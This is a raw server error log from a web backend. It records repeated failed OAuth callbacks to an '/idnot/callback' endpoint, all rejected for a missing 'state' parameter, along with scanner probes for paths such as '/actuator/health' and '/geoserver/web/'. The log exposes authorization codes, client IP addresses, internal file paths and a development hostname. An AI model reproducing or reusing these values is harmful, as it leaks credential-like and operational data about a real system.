'/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758614657704_xzlpepwdy' +} +❌ [ERROR] 2025-09-23T08:04:17.706Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758614657704_xzlpepwdy', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g1wHxjqRTxhC9W7lNHHhj2pkg0yNd5bBgTMy6mGDjmYL2NZ8wA5VeM35V5HIhlrqdBJ54UcDSVyj4WVT9oUJXZhZAPKyFGKx_sN-_TjBaXSclZLwjiyciKuWKBv95-KdmxrZ00Jp7xy2GmVo4ZbNqaDYfQlX0FhAErdN7EAlsSFuRWEPDcuVXO_1S3K_6M5zDM2mgRCtxkJ9sWnE_GrVa-dTfYJP8f_I9vRdDSB47MnGjrDFZEiNdhow8P9vGNFLgz8SlEvLtH66QvjnzvqQ88kxbf_9v0i0mhngc2egC-fNd4N03mr5YyNq_tsqsfFa4mzmTt8MmYGLyplnTqyZrkOhbOpr3WzOGVhBERpUTEqan6aavvRrMt8BBDn_eARdOte614H0wEJtXOJ1x-nJKTbp5Tw18wEBeSIs', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T08:05:16.945Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPow'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758614716944_wkpqvpx6j' +} +❌ [ERROR] 2025-09-23T08:05:16.946Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g1wHxjqRTxhC9W7lNHHhj2pkg0yNd5bBgTMy6mGDjmYL2NZ8wA5VeM35V5HIhlrqdBJ54UcDSVyj4WVT9oUJXZhZAPKyFGKx_sN-_TjBaXSclZLwjiyciKuWKBv95-KdmxrZ00Jp7xy2GmVo4ZbNqaDYfQlX0FhAErdN7EAlsSFuRWEPDcuVXO_1S3K_6M5zDM2mgRCtxkJ9sWnE_GrVa-dTfYJP8f_I9vRdDSB47MnGjrDFZEiNdhow8P9vGNFLgz8SlEvLtH66QvjnzvqQ88kxbf_9v0i0mhngc2egC-fNd4N03mr5YyNq_tsqsfFa4mzmTt8MmYGLyplnTqyZrkOhbOpr3WzOGVhBERpUTEqan6aavvRrMt8BBDn_eARdOte614H0wEJtXOJ1x-nJKTbp5Tw18wEBeSIs - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPow'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758614716944_wkpqvpx6j', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T08:06:01.148Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9L'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758614761147_co2nbc9wd' +} +❌ [ERROR] 2025-09-23T08:06:01.149Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0 - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758614761147_co2nbc9wd', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJSm-0iGqHNyVEQtZo4Y1PLDq4hz5mz5dolaa57BsQVq8S05Jr1cLo0DabNqZOTKhuqIaHlYSTA4UIRopq2fzyeklYc-H-Gx0mDUoeugQ64HCwQZXpPBUteUmIGWZaYHwbfcqrDAgvi7d2Jrd74_yYPq0SSlcAJH-NJ6fdN4nA-L8qaBmhm6W5ywhy_C8xGOYl2xLSmdb7OGTItAiUKvRHnbvb46NPNVAV2IFxzuT-KeoxIqz5KJ7R-loZMYpbaB63fhetSoPN5IHw4vlXzyTUMk20Qfwkvvb5q528C6Jb9yBFL-uoexDsbDXrOOrTr0dZBiTMiu_EgbGX_me-gkP7jL_8NaXUHOX6X5p-Txug7_1ketZWB-DLYrcEHrlCkzma7byDGUEYX59Nu-jcN-bPRto-s1pUezKURhfg', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '35.171.45.91', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T08:08:27.926Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJS'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzE'... 440 more characters, + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758614907925_mcdsm82r0' +} +❌ [ERROR] 2025-09-23T08:08:27.927Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJSm-0iGqHNyVEQtZo4Y1PLDq4hz5mz5dolaa57BsQVq8S05Jr1cLo0DabNqZOTKhuqIaHlYSTA4UIRopq2fzyeklYc-H-Gx0mDUoeugQ64HCwQZXpPBUteUmIGWZaYHwbfcqrDAgvi7d2Jrd74_yYPq0SSlcAJH-NJ6fdN4nA-L8qaBmhm6W5ywhy_C8xGOYl2xLSmdb7OGTItAiUKvRHnbvb46NPNVAV2IFxzuT-KeoxIqz5KJ7R-loZMYpbaB63fhetSoPN5IHw4vlXzyTUMk20Qfwkvvb5q528C6Jb9yBFL-uoexDsbDXrOOrTr0dZBiTMiu_EgbGX_me-gkP7jL_8NaXUHOX6X5p-Txug7_1ketZWB-DLYrcEHrlCkzma7byDGUEYX59Nu-jcN-bPRto-s1pUezKURhfg - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzE'... 440 more characters, + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758614907925_mcdsm82r0', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T08:14:18.766Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:44.205.255.127', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36' + }, + requestId: 'req_1758615258765_j2jqllcrl', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T08:27:35.299Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758616055299_hrmvur3fy', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T08:30:19.282Z HTTP GET /actuator/health - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:135.237.123.254', + method: 'GET', + url: '/actuator/health', + userAgent: 'Mozilla/5.0 zgrab/0.x' + }, + requestId: 'req_1758616219281_s3k6h3yq9', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T08:52:56.631Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758617576631_p059kqai6', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T08:53:01.275Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:64.62.197.47', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0' + }, + requestId: 'req_1758617581274_abps747ms', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T08:53:39.875Z HTTP GET /favicon.ico - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:64.62.197.47', + method: 'GET', + url: '/favicon.ico', + userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' + }, + requestId: 'req_1758617619875_hp3ed2t4n', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T08:53:58.247Z HTTP GET http://api.ipify.org/?format=json - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:64.62.197.49', + method: 'GET', + url: 'http://api.ipify.org/?format=json', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0' + }, + requestId: 'req_1758617638245_zh34b6ujg', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T08:54:31.260Z HTTP GET /geoserver/web/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:64.62.197.47', + method: 'GET', + url: '/geoserver/web/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0' + }, + requestId: 'req_1758617671259_8e3eq4qgc', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk30o9ZEBNlqdifhJXkyo4PxrN8TuwM8dFrhmTaFwfaUNclTMiT09UvG5-A20ueSWcCzJNXusPRRoe58cSKnDBKi1Xozk0GeNjN7Or9YKYMmmq6J1x84juQWgTbe1AXUHh7Hoi4hGmiMMDuOrAOoLEYay8i3Vg6Y7bh0LjpF-i5bRlhWhFPVneySUB_RzdXZuJDzkmSyg_ygOtTw4ZK2ZN5S1l09tn2mcfcsVp1R3EB5u6K3K-KFARe_KbYxhxHIZRwR-rE57QmQ0adhozE5iYt1mhLct6hr5NVoZZt1R1Ia24TX2bKGITKqVshyZsmp44hmIyFyMba5W6vJYwta10LwDHjgWVokieDctvDjYdY7LiS5sw3dLWr7w0RQk2r7C8ylq6hd8QjvnOmxGyXTRrqkIUzqUa2j0EOU4', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '184.72.115.35', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T09:05:58.382Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54'... 440 more characters, + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' + }, + requestId: 'req_1758618358378_pptpe5msl' +} +❌ [ERROR] 2025-09-23T09:05:58.383Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk30o9ZEBNlqdifhJXkyo4PxrN8TuwM8dFrhmTaFwfaUNclTMiT09UvG5-A20ueSWcCzJNXusPRRoe58cSKnDBKi1Xozk0GeNjN7Or9YKYMmmq6J1x84juQWgTbe1AXUHh7Hoi4hGmiMMDuOrAOoLEYay8i3Vg6Y7bh0LjpF-i5bRlhWhFPVneySUB_RzdXZuJDzkmSyg_ygOtTw4ZK2ZN5S1l09tn2mcfcsVp1R3EB5u6K3K-KFARe_KbYxhxHIZRwR-rE57QmQ0adhozE5iYt1mhLct6hr5NVoZZt1R1Ia24TX2bKGITKqVshyZsmp44hmIyFyMba5W6vJYwta10LwDHjgWVokieDctvDjYdY7LiS5sw3dLWr7w0RQk2r7C8ylq6hd8QjvnOmxGyXTRrqkIUzqUa2j0EOU4 - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 5, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54'... 440 more characters, + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' + }, + requestId: 'req_1758618358378_pptpe5msl', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T09:13:23.965Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:196.251.86.39', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15' + }, + requestId: 'req_1758618803963_bzqwnzg5q', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jSRn_Pdg4E-sAfsc18zJI8_ywU48FRDD635pPlnCoVWH6xQ44J-X5B_qxiZYIOKJi-4yMOTJLz4g_X94uprPkBaPNvTMK8r8xfmpt9eY2Q8U-wZMYaj3C_y9MaAGpGDgP_sBWWvVqHUTR39Y39umiErrDEGXbcGuI9CPlqRiovj70jfGxlzRooSKEo05jWMO9rG5sH7bM3XD_0rI_6-dd-n2EwoLzN-TIJcRtI5bpuO2cJb7HQ4BQtD5IkrHnbW0ViVfiyGH_GO-xeKjgPCJ3GK3Tq5N90j-4T9gwnvOFJd_4YbEmx7PWj6c-Oz8KFdXUff0O_4VHyN8XMtcqH8Hb8F0LVKGg24nqaKXalh3pyXJ1RthkSAcJVDaRyamMPrKh2VSmp6oJnrnWq6F0gsb9roAOdp-sJIPJzcv0', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '54.175.74.27', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T09:21:01.016Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jS'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1l'... 440 more characters, + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) 